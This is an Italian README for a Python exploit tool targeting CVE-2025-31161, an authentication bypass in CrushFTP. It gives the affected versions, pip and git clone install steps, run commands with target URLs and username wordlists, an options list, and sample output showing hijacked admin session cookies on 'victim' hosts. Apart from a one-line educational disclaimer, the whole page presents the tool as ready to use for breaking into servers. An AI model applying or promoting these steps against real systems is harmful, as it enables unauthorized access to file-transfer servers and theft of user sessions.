CrushFTP CVE-2025-31161 Strumento di Exploit 🔓

Strumento avanzato di rilevamento e sfruttamento per la vulnerabilità CVE-2025-31161 nelle versioni vulnerabili di CrushFTP.

CVE-2025-31161 è una vulnerabilità critica di bypass dell'autenticazione nell'interfaccia web di CrushFTP. Manipolando l'header HTTP Authorization, un attaccante non autenticato può ottenere accesso completo con qualsiasi nome utente valido senza fornire la password corretta.

Versioni Affette

CrushFTP 9.3.8

CrushFTP 9.3.9

CrushFTP 9.3.10

CrushFTP 9.3.11

CrushFTP 9.3.12

Versioni Enterprise di CrushFTP precedenti alla 9.3.12.5

Caratteristiche Principali 🚀

• Rilevamento automatico della versione di CrushFTP e verifica della vulnerabilità
• Test multi-thread delle credenziali per enumerazione rapida degli utenti
• Supporto di due metodi di autenticazione (Bearer Token e Basic Auth)
• Generazione di report JSON con cookie di sessione
• Meccanismi intelligenti di tentativi di connessione con configurazioni personalizzate
• Output console colorato con registrazione dettagliata
• Copertura delle versioni vulnerabili:
  • dalla 9.3.8 alla 9.3.12.5

Requisiti 📋

• Python 3.8+

• Pacchetti richiesti:

  root@kitploit:~

  pip install requests colorama urllib3
  

  Installazione 🛠️

1. Installa le dipendenze:

 pip install requests colorama urllib3

2. Clona il repository:

 git clone https://github.com/TX-One/CVE-2025-31161.git
 cd CVE-2025-31161
 python3 tx-crush.py -h

Utilizzo 🖥️

Comando Base:

python3 CVE-2025-31161.py -t https://target:8080 -u users.txt -o results.json

Opzioni:

-h, --help            show this help message and exit
  -t, --target TARGET   Target URL (e.g., https://example.com:8080)
  -u, --users USERS     File containing username list
  -o, --output OUTPUT   Output JSON file
  -T, --threads THREADS
                        Number of threads (default: 5)
  --no-ssl              Disable SSL verification
  --timeout TIMEOUT     Request timeout (default: 15)
  --retries RETRIES     Number of retries (default: 3)
  --force               Bypass version check

Esempio Avanzato:

python3 exploit.py
  -t https://vulnerable-server.com:8000
  -u ./wordlists/common_users.txt
  -o ./results/compromised.json
  -T 10
  --retries 5
  --timeout 20

Esempio di Output 📄

[
  {
    "target": "https://victim:8080",
    "user": "admin",
    "success": true,
    "method": "Bearer",
    "cookies": {"sessionID": "a1b2c3..."},
    "server_version": "CrushFTP/9.3.12"
  }
]

[
  {
        "target": "http://victim:8080",
        "user": "admin",
        "success": false
    }
]

Disclaimer: Questo progetto è solo a scopo educativo e di ricerca sulla sicurezza. Si richiede un uso responsabile.